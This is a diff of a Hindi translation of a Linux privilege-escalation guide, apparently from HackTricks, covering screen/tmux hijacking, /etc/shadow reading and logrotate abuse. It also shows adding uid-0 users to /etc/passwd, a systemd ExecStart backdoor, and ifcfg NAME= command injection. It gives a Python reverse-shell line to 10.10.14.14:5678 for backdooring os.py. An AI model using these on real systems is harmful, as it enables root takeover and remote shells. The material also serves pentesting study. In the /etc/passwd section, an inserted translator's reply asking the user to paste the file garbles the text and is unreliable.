ACLs वाली फ़ाइलें: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Open shell sessions +## खुले shell sessions -In **पुराने संस्करणों** में आप **हाइजैक** कर सकते हैं कुछ **शेल** सत्रों को एक अलग उपयोगकर्ता (**रूट**) के।\ -In **नवीनतम संस्करणों** में आप केवल **अपने स्वयं के उपयोगकर्ता** के स्क्रीन सत्रों से **जुड़ने** में सक्षम होंगे। हालांकि, आप **सत्र के अंदर दिलचस्प जानकारी** पा सकते हैं। +**पुराने संस्करणों** में आप किसी अन्य user (**root**) के किसी **shell** session को **hijack** कर सकते हैं.\ +**नवीनतम संस्करणों** में आप केवल अपने **user** के screen sessions से ही **connect** कर पाएंगे। हालांकि, आप **session के अंदर रोचक जानकारी** पा सकते हैं। ### screen sessions hijacking @@ -1098,17 +1100,17 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**एक सत्र से जुड़ें** +**सत्र से जुड़ें** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux सत्रों का हाइजैकिंग +## tmux sessions hijacking -यह **पुराने tmux संस्करणों** के साथ एक समस्या थी। मैं एक गैर-प्रिविलेज्ड उपयोगकर्ता के रूप में root द्वारा बनाए गए tmux (v2.1) सत्र को हाइजैक करने में असमर्थ था। +यह समस्या **पुराने tmux संस्करणों** के साथ थी। मैं एक गैर-प्रिविलेज्ड उपयोगकर्ता के रूप में root द्वारा बनाया गया tmux (v2.1) session hijack करने में सक्षम नहीं था। -**tmux सत्रों की सूची** +**tmux sessions सूचीबद्ध करें** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1116,7 +1118,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**सत्र से जुड़ें** +**एक session से जुड़ें** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1132,47 +1134,47 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -सभी SSL और SSH कुंजी जो Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर सितंबर 2006 और 13 मई 2008 के बीच उत्पन्न की गई थीं, इस बग से प्रभावित हो सकती हैं।\ -यह बग उन OS में एक नई ssh कुंजी बनाने के दौरान होता है, क्योंकि **केवल 32,768 भिन्नताएँ संभव थीं**। इसका मतलब है कि सभी संभावनाएँ गणना की जा सकती हैं और **ssh सार्वजनिक कुंजी होने पर आप संबंधित निजी कुंजी के लिए खोज कर सकते हैं**। आप यहाँ गणना की गई संभावनाएँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** यह निर्दिष्ट करता है कि क्या पासवर्ड प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `no` है। -- **PubkeyAuthentication:** यह निर्दिष्ट करता है कि क्या सार्वजनिक कुंजी प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `yes` है। -- **PermitEmptyPasswords**: जब पासवर्ड प्रमाणीकरण की अनुमति होती है, तो यह निर्दिष्ट करता है कि क्या सर्वर खाली पासवर्ड स्ट्रिंग वाले खातों में लॉगिन की अनुमति देता है। डिफ़ॉल्ट `no` है। +- **PasswordAuthentication:** यह निर्धारित करता है कि password authentication की अनुमति है या नहीं। डिफ़ॉल्ट `no` है। +- **PubkeyAuthentication:** यह निर्धारित करता है कि public key authentication की अनुमति है या नहीं। डिफ़ॉल्ट `yes` है। +- **PermitEmptyPasswords**: जब password authentication की अनुमति हो, यह निर्धारित करता है कि सर्वर खाली password स्ट्रिंग वाले खाते में login की अनुमति देता है या नहीं। डिफ़ॉल्ट `no` है। ### PermitRootLogin -यह निर्दिष्ट करता है कि क्या रूट ssh का उपयोग करके लॉगिन कर सकता है, डिफ़ॉल्ट `no` है। संभावित मान: +Specifies whether root can log in using ssh, default is `no`. Possible values: -- `yes`: रूट पासवर्ड और निजी कुंजी का उपयोग करके लॉगिन कर सकता है -- `without-password` या `prohibit-password`: रूट केवल निजी कुंजी के साथ लॉगिन कर सकता है -- `forced-commands-only`: रूट केवल निजी कुंजी का उपयोग करके और यदि कमांड विकल्प निर्दिष्ट किए गए हैं, लॉगिन कर सकता है +- `yes`: root password और private key का उपयोग करके login कर सकता है +- `without-password` or `prohibit-password`: root केवल private key से ही login कर सकता है +- `forced-commands-only`: Root केवल private key का उपयोग करके और यदि commands options निर्दिष्ट हों तभी login कर सकता है - `no` : नहीं ### AuthorizedKeysFile -यह उन फ़ाइलों को निर्दिष्ट करता है जो सार्वजनिक कुंजियों को शामिल करती हैं जो उपयोगकर्ता प्रमाणीकरण के लिए उपयोग की जा सकती हैं। इसमें ऐसे टोकन हो सकते हैं जैसे `%h`, जिसे होम डायरेक्टरी द्वारा प्रतिस्थापित किया जाएगा। **आप पूर्ण पथ निर्दिष्ट कर सकते हैं** (जो `/` से शुरू होता है) या **उपयोगकर्ता के होम से सापेक्ष पथ**। उदाहरण के लिए: +यह उन फाइलों को निर्दिष्ट करता है जिनमें वे public keys होती हैं जो user authentication के लिए उपयोग की जा सकती हैं। इसमें `%h` जैसे टोकन हो सकते हैं, जिन्हें home directory से प्रतिस्थापित किया जाएगा। **आप absolute paths** (starting in `/`) **या user के home से relative paths** निर्दिष्ट कर सकते हैं। For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -यह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **private** कुंजी के साथ लॉगिन करने का प्रयास करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों के साथ करेगा। +यह configuration संकेत करेगा कि अगर आप उपयोगकर्ता "**testusername**" की **private** key से login करने की कोशिश करते हैं तो ssh आपके key के **public key** की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में मौजूद keys से करेगा। ### ForwardAgent/AllowAgentForwarding -SSH एजेंट फॉरवर्डिंग आपको **अपने स्थानीय SSH कुंजी का उपयोग करने** की अनुमति देता है बजाय इसके कि कुंजियाँ (बिना पासफ़्रेज़ के!) आपके सर्वर पर बैठी रहें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट **पर जंप** कर सकेंगे **उपयोग करके** अपनी **प्रारंभिक होस्ट** में स्थित **कुंजी**। +SSH agent forwarding आपको यह अनुमति देता है कि आप **use your local SSH keys instead of leaving keys** (बिना passphrases!) अपने सर्वर पर रखे बिना उपयोग कर सकें। इसलिए, आप ssh के माध्यम से **jump** करके **to a host** पहुँच सकते हैं और वहाँ से दूसरे host पर **jump to another** कर सकते हैं, **using** उस **key** का जो आपके **initial host** पर स्थित है। -आपको इस विकल्प को `$HOME/.ssh.config` में इस तरह सेट करना होगा: +आपको यह option `$HOME/.ssh.config` में इस तरह सेट करनी होगी: ``` Host example.com ForwardAgent yes ``` -ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)। +ध्यान दें कि यदि `Host` `*` है तो हर बार जब उपयोगकर्ता किसी अलग मशीन पर जाता है, उस होस्ट को keys तक पहुँच प्राप्त होगी (जो एक सुरक्षा समस्या है)। -फाइल `/etc/ssh_config` इस **विकल्पों** को **ओवरराइड** कर सकती है और इस कॉन्फ़िगरेशन की अनुमति या अस्वीकृति कर सकती है।\ -फाइल `/etc/sshd_config` ssh-agent फॉरवर्डिंग को कीवर्ड `AllowAgentForwarding` के साथ **अनुमति** या **अस्वीकृति** दे सकती है (डिफ़ॉल्ट अनुमति है)। +The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ +The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). -यदि आप पाते हैं कि फॉरवर्ड एजेंट किसी वातावरण में कॉन्फ़िगर किया गया है, तो निम्नलिखित पृष्ठ को पढ़ें क्योंकि **आप इसे विशेषाधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1181,71 +1183,76 @@ ssh-forward-agent-exploitation.md ## दिलचस्प फ़ाइलें -### प्रोफाइल फ़ाइलें +### प्रोफ़ाइल फ़ाइलें -फाइल `/etc/profile` और `/etc/profile.d/` के तहत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**। +The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, यदि आप उनमें से किसी को भी **लिख या संशोधित** कर सकते हैं तो आप **escalate privileges** कर सकते हैं। ```bash ls -l /etc/profile /etc/profile.d/ ``` -यदि कोई अजीब प्रोफ़ाइल स्क्रिप्ट मिलती है, तो आपको इसे **संवेदनशील विवरण** के लिए जांचना चाहिए। +If any weird profile script is found you should check it for **संवेदनशील जानकारी**. ### Passwd/Shadow फ़ाइलें -OS के आधार पर `/etc/passwd` और `/etc/shadow` फ़ाइलें एक अलग नाम का उपयोग कर सकती हैं या एक बैकअप हो सकता है। इसलिए यह अनुशंसित है कि **इनमें से सभी को खोजें** और **जांचें कि क्या आप इन्हें पढ़ सकते हैं** यह देखने के लिए **क्या फ़ाइलों के अंदर हैश हैं**: +Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **इन सबको खोजें** और **जाँचें कि आप इन्हें पढ़ सकते हैं** ताकि देखा जा सके **यदि फ़ाइलों के अंदर hashes मौजूद हैं**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -कई अवसरों पर आप **password hashes** को `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर पा सकते हैं। +कुछ मामलों में आप `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर **password hashes** पा सकते हैं ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Writable /etc/passwd -पहले, निम्नलिखित कमांड में से एक के साथ एक पासवर्ड उत्पन्न करें। +सबसे पहले, निम्नलिखित में से किसी एक कमांड का उपयोग करके एक password जनरेट करें। ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -फिर उपयोगकर्ता `hacker` जोड़ें और उत्पन्न पासवर्ड जोड़ें। +मैं फ़ाइल src/linux-hardening/privilege-escalation/README.md का अनुवाद करने के लिए उसकी सामग्री चाहिए। कृपया उस README.md की पूरी सामग्री पेस्ट करें। + +साथ ही बताइए: +- क्या आप सिर्फ अनुवादित टेक्स्ट में यूज़र `hacker` और जेनरेट किया गया पासवर्ड प्लेनटेक्स्ट में जोड़वाना चाहते हैं, या +- आप Linux कमांड भी चाहते हैं जो उस यूज़र को सिस्टम पर बनाए और पासवर्ड सेट करे (उदा. useradd/adduser + chpasswd), और पासवर्ड प्लेनटेक्स्ट में दिखना चाहिए या hashed रखना है? + +आप उत्तर दें, मैं फिर अनुवाद करके वही markdown संरचना रखते हुए `hacker` यूज़र और जेनरेट किया गया पासवर्ड जोड़ दूंगा। ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` उदाहरण: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -आप अब `su` कमांड का उपयोग `hacker:hacker` के साथ कर सकते हैं। +अब आप `su` कमांड को `hacker:hacker` के साथ उपयोग कर सकते हैं। -वैकल्पिक रूप से, आप बिना पासवर्ड के एक डमी उपयोगकर्ता जोड़ने के लिए निम्नलिखित पंक्तियों का उपयोग कर सकते हैं।\ -चेतावनी: आप मशीन की वर्तमान सुरक्षा को कमजोर कर सकते हैं। +अन्य विकल्प के रूप में, आप बिना पासवर्ड के एक नकली उपयोगकर्ता जोड़ने के लिए निम्न पंक्तियों का उपयोग कर सकते हैं।\ चेतावनी: आप मशीन की वर्तमान सुरक्षा को कमजोर कर सकते हैं। ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -नोट: BSD प्लेटफार्मों में `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित है, और `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है। +नोट: BSD प्लेटफ़ॉर्म्स में `/etc/passwd` का स्थान `/etc/pwd.db` और `/etc/master.passwd` होता है, साथ ही `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है। -आपको यह जांचना चाहिए कि क्या आप कुछ **संवेदनशील फ़ाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप कुछ **सेवा कॉन्फ़िगरेशन फ़ाइल** में लिख सकते हैं? +आपको जांचना चाहिए कि क्या आप **कुछ संवेदनशील फ़ाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप किसी **service configuration file** में लिख सकते हैं? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -उदाहरण के लिए, यदि मशीन **tomcat** सर्वर चला रही है और आप **/etc/systemd/ के अंदर Tomcat सेवा कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं,** तो आप निम्नलिखित पंक्तियों को संशोधित कर सकते हैं: +उदाहरण के लिए, यदि मशीन पर **tomcat** सर्वर चल रहा है और आप **/etc/systemd/ के अंदर Tomcat सेवा विन्यास फ़ाइल को संशोधित कर सकते हैं,** तो आप निम्न पंक्तियों को संशोधित कर सकते हैं: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -आपका बैकडोर अगली बार जब टॉमकैट शुरू होगा, तब निष्पादित होगा। +आपका backdoor अगली बार tomcat शुरू होने पर निष्पादित होगा। -### फ़ोल्डर जांचें +### फ़ोल्डरों की जाँच करें -निम्नलिखित फ़ोल्डर बैकअप या दिलचस्प जानकारी रख सकते हैं: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (संभवतः आप अंतिम फ़ोल्डर को पढ़ने में असमर्थ होंगे लेकिन प्रयास करें) +निम्न फ़ोल्डरों में बैकअप या रोचक जानकारी हो सकती है: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (शायद आप आखिरी वाले को पढ़ न सकें, लेकिन कोशिश करें) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### अजीब स्थान/स्वामित्व वाली फ़ाइलें +### अजीब स्थान/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1262,11 +1269,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### अंतिम मिनटों में संशोधित फ़ाइलें +### पिछले मिनटों में संशोधित फ़ाइलें ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB फ़ाइलें +### Sqlite DB फाइलें ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1278,38 +1285,38 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH में स्क्रिप्ट/बाइनरी** +### **Script/Binaries में PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **वेब फ़ाइलें** +### **Web फ़ाइलें** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **बैकअप** +### **बैकअप्स** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Known files containing passwords +### पासवर्ड्स रखने वाली ज्ञात फ़ाइलें -Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), यह **कई संभावित फ़ाइलों की खोज करता है जो पासवर्ड हो सकते हैं**।\ -**एक और दिलचस्प उपकरण** जिसका आप इसका उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक ओपन-सोर्स एप्लिकेशन है जिसका उपयोग Windows, Linux और Mac के लिए स्थानीय कंप्यूटर पर संग्रहीत कई पासवर्ड पुनर्प्राप्त करने के लिए किया जाता है। +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) के कोड को पढ़ें, यह **कुछ संभावित फ़ाइलें जो passwords रख सकती हैं** ढूँढता है।\ +**एक और दिलचस्प टूल** जिसे आप इसके लिए उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक open source application है जिसका उपयोग लोकल कंप्यूटर पर Windows, Linux & Mac के लिए स्टोर किए गए कई passwords पुनः प्राप्त करने के लिए किया जाता है। ### Logs -यदि आप लॉग पढ़ सकते हैं, तो आप **उनमें दिलचस्प/गोपनीय जानकारी** पा सकते हैं। लॉग जितना अजीब होगा, वह उतना ही दिलचस्प होगा (संभवतः)।\ -इसके अलावा, कुछ "**खराब**" कॉन्फ़िगर किए गए (बैकडोर?) **ऑडिट लॉग** आपको **ऑडिट लॉग में पासवर्ड रिकॉर्ड करने** की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +यदि आप logs पढ़ सकते हैं, तो आप उनमें **दिलचस्प/गोपनीय जानकारी** पा सकते हैं। जितना अधिक अजीब log होगा, उतना अधिक रोचक वह होगा (probably).\ +इसके अलावा, कुछ "**bad**" configured (backdoored?) **audit logs** आपको audit logs के अंदर **record passwords** करने की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]. ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -**लॉग पढ़ने के लिए समूह** [**adm**](interesting-groups-linux-pe/index.html#adm-group) वास्तव में सहायक होगा। +लॉग पढ़ने के लिए समूह [**adm**](interesting-groups-linux-pe/index.html#adm-group) बहुत सहायक होगा। -### शेल फ़ाइलें +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1322,66 +1329,68 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -आपको उन फ़ाइलों की जांच भी करनी चाहिए जिनमें "**password**" शब्द उनके **नाम** में या **सामग्री** के अंदर है, और साथ ही लॉग में IPs और ईमेल की जांच करनी चाहिए, या हैश regexps।\ -मैं यहाँ यह सूचीबद्ध नहीं करने जा रहा हूँ कि यह सब कैसे करना है लेकिन यदि आप रुचि रखते हैं तो आप अंतिम जांचें देख सकते हैं जो [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) करता है। +आपको उन फाइलों की भी जाँच करनी चाहिए जिनमें शब्द "**password**" उनके **name** में या उनके **content** के अंदर मौजूद हो, और साथ ही logs के अंदर IPs और emails, या hashes regexps भी चेक करें.\ +मैं यहाँ यह सब कैसे करना है सूचीबद्ध नहीं कर रहा/रही हूँ, लेकिन अगर आप रुचि रखते हैं तो आप देख सकते हैं कि [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) कौन‑से अंतिम checks perform करता/करती है। -## Writable files +## लिखने योग्य फ़ाइलें ### Python library hijacking -यदि आप जानते हैं कि **कहाँ** एक पायथन स्क्रिप्ट निष्पादित होने जा रही है और आप उस फ़ोल्डर के अंदर **लिख सकते हैं** या आप **पायथन पुस्तकालयों को संशोधित कर सकते हैं**, तो आप OS पुस्तकालय को संशोधित कर सकते हैं और इसे बैकडोर कर सकते हैं (यदि आप उस स्थान पर लिख सकते हैं जहाँ पायथन स्क्रिप्ट निष्पादित होने जा रही है, तो os.py पुस्तकालय को कॉपी और पेस्ट करें)। +यदि आप जानते हैं कि कोई python script किस **where** से execute होने वाली है और आप उस फ़ोल्डर के अंदर **can write inside** कर सकते हैं या आप **modify python libraries** कर सकते हैं, तो आप OS library को modify करके उसमें backdoor डाल सकते हैं (अगर आप उस जगह लिख सकते हैं जहाँ python script execute होने वाली है, तो os.py library को copy और paste कर दें)। -**पुस्तकालय को बैकडोर करने के लिए** बस os.py पुस्तकालय के अंत में निम्नलिखित पंक्ति जोड़ें (IP और PORT बदलें): +To **backdoor the library** बस os.py library के अंत में निम्नलिखित line जोड़ दें (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotate का शोषण -`logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **रूट** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए। +A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] -> यह सुरक्षा कमी `logrotate` संस्करण `3.18.0` और पुराने को प्रभावित करती है +> यह कमजोरी `logrotate` के संस्करण `3.18.0` और उससे पुराने को प्रभावित करती है -सुरक्षा कमी के बारे में अधिक विस्तृत जानकारी इस पृष्ठ पर मिल सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -आप इस सुरक्षा कमी का लाभ [**logrotten**](https://github.com/whotwagner/logrotten) के साथ उठा सकते हैं। +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -यह सुरक्षा कमी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx लॉग),** के समान है, इसलिए जब भी आप पाते हैं कि आप लॉग को बदल सकते हैं, तो जांचें कि उन लॉग का प्रबंधन कौन कर रहा है और जांचें कि क्या आप लॉग को सिमलिंक द्वारा प्रतिस्थापित करके विशेषाधिकार बढ़ा सकते हैं। +This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**सुरक्षा कमी संदर्भ:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -यदि, किसी भी कारण से, एक उपयोगकर्ता _/etc/sysconfig/network-scripts_ में **लेखन** करने में सक्षम है `ifcf-` स्क्रिप्ट या इसे **समायोजित** कर सकता है, तो आपका **सिस्टम प्वंड है**। +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -नेटवर्क स्क्रिप्ट, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शनों के लिए उपयोग की जाती हैं। वे बिल्कुल .INI फ़ाइलों की तरह दिखती हैं। हालाँकि, इन्हें Linux पर नेटवर्क प्रबंधक (dispatcher.d) द्वारा \~sourced\~ किया जाता है। +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). -मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ रूट के रूप में निष्पादित होता है**। +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. -उदाहरण के लिए: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -### **init, init.d, systemd, और rc.d** +(_ध्यान दें: Network और /bin/id के बीच रिक्त स्थान_) -डायरेक्टरी `/etc/init.d` **स्क्रिप्ट्स** का घर है जो System V init (SysVinit) के लिए है, जो **क्लासिक Linux सेवा प्रबंधन प्रणाली** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट्स शामिल हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले प्रतीकात्मक लिंक के माध्यम से निष्पादित किया जा सकता है। Redhat सिस्टम में एक वैकल्पिक पथ `/etc/rc.d/init.d` है। +### **init, init.d, systemd, and rc.d** -दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश की गई एक नई **सेवा प्रबंधन** प्रणाली है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करती है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट्स अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है। +डायरेक्टरी `/etc/init.d` System V init (SysVinit) के लिए **scripts** का घर है, जो क्लासिक Linux सेवा-प्रबंधन सिस्टम है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए scripts शामिल होते हैं। इन्हें सीधे चलाया जा सकता है या `/etc/rc?.d/` में पाए जाने वाले symbolic links के माध्यम से। Redhat सिस्टम्स में वैकल्पिक पाथ `/etc/rc.d/init.d` है। -**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेज के लिए `/usr/lib/systemd/` और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में फ़ाइलों को व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा सके। +दूसरी ओर, `/etc/init` **Upstart** से जुड़ा है, जो Ubuntu द्वारा पेश किया गया एक नया **service management** है और सेवा-प्रबंधन कार्यों के लिए configuration files का उपयोग करता है। Upstart पर संक्रमण के बावजूद, Upstart में मौजूद compatibility layer के कारण SysVinit scripts अभी भी Upstart configurations के 